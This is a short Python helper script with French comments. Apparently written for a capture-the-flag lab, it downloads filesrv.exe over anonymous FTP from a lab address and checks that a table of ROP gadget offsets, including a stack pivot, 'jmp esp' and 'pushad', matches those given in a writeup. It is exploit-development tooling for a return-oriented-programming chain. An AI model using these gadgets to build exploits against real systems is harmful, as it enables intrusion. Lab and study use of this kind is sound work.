#!/usr/bin/env python3
"""Verifie que les gadgets dans filesrv.exe correspondent aux offsets du writeup."""
import struct, os
from ftplib import FTP

CIBLE_IP = "10.129.2.76"

GADGETS = [
    (0x01010, b"\xc3",                             "ret"),
    (0x01068, b"\x5e\xc3",                         "pop esi; ret"),
    (0x0100f, b"\x5d\xc3",                         "pop ebp; ret"),
    (0x0dc14, b"\x5b\xc3",                         "pop ebx; ret"),
    (0x77ec4, b"\x58\xc3",                         "pop eax; ret"),
    (0x15354, b"\x5f\xc3",                         "pop edi; ret"),
    (0x11396, b"\x81\xc4\x10\x0e\x00\x00\xc3",    "add esp,0xe10; ret (PIVOT)"),
    (0x11394, b"\xff\xe4",                         "jmp esp"),
    (0x113b1, b"\x60\xc3",                         "pushad; ret"),
    (0x113a8, b"\x01\xf8\xc3",                     "add eax,edi; ret"),
    (0x2bb8e, b"\x8b\x00\xc3",                     "mov eax,[eax]; ret"),
    (0x48ca8, b"\x97\xc3",                         "xchg edi,eax; ret"),
    (0x14af9, b"\xff\xe0",                         "jmp eax"),
]

def main():
    exe = "filesrv.exe"
    if not os.path.exists(exe):
        print(f"[*] Download filesrv.exe depuis FTP {CIBLE_IP}...")
        ftp = FTP(CIBLE_IP)
        ftp.login("anonymous", "")
        with open(exe, "wb") as f:
            ftp.retrbinary("RETR filesrv.exe", f.write)
        ftp.quit()
        print(f"[+] OK ({os.path.getsize(exe)} bytes)")

    with open(exe, "rb") as f:
        d = f.read()

    pe = struct.unpack_from("<I", d, 0x3C)[0]
    coff = pe + 4
    nsec = struct.unpack_from("<H", d, coff + 2)[0]
    osz  = struct.unpack_from("<H", d, coff + 16)[0]
    ss   = coff + 20 + osz
    secs = []
    for i in range(nsec):
        o = ss + i * 40
        va = struct.unpack_from("<I", d, o + 12)[0]
        vs = struct.unpack_from("<I", d, o + 8)[0]
        ro = struct.unpack_from("<I", d, o + 20)[0]
        rs = struct.unpack_from("<I", d, o + 16)[0]
        secs.append((va, vs, ro, rs))

    def r2o(rva):
        for va, vs, ro, rs in secs:
            if va <= rva < va + max(vs, rs):
                return rva - va + ro
        return None

    print(f"\n{'='*55}")
    print(f" VERIFICATION GADGETS filesrv.exe")
    print(f"{'='*55}")
    ok = fail = 0
    for rva, expected, desc in GADGETS:
        fo = r2o(rva)
        if fo is None:
            print(f"  [!!] 0x{rva:05x} {desc}: RVA hors sections!")
            fail += 1
            continue
        actual = d[fo:fo + len(expected)]
        if actual == expected:
            print(f"  [OK]   0x{rva:05x} {desc}")
            ok += 1
        else:
            print(f"  [FAIL] 0x{rva:05x} {desc}")
            print(f"         attendu: {expected.hex()}")
            print(f"         trouve:  {actual.hex()}")
            fail += 1

    print(f"\n  OK={ok}  FAIL={fail}")
    if fail:
        print("  >>> BINAIRE DIFFERENT DU WRITEUP — gadgets a recalculer!")
    else:
        print("  >>> Gadgets OK — probleme ailleurs (pivot landing?)")
    print(f"{'='*55}")

if __name__ == "__main__":
    main()
